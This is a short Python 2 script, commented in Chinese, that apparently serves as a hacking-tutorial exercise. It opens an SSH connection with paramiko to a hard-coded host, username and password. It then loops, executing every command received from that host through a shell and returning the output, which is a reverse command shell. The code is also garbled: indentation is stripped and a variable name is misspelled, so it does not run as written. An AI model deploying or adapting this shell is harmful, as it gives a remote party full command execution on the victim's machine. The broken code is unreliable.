python

import threading#引入 线程包
import paramiko#引入ssh 包
import subprocess#引入 子进程

def ssh_command(ip,user,passwd,command):#运行 参数 ip,user ,passwd,command
client = paramiko.SSHClient()#创建 连接 对象
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 设置自动
client.connect(ip,username=user,password=passwd)#连接开始
ssh_session = client.get_transport().open_session()#进行了 open 处理
if ssh_session.active:# 如果正确了
ssh_session.send(commad)#发送信息
print ssh_session.recv(1024)# 接收信息
while True:
command = ssh_session.recv(1024)#接收信息
try:
cmd_output = subprocess.check_output(command,shell=True)#子节点运行
ssh_session.send(cmd_output)#发送数据
except Exception,e:
ssh_session.send(str(e))#报错
client.close()#关闭
return
ssh_command('192.168.100.130','justin','lovesthepython','ClientConnect')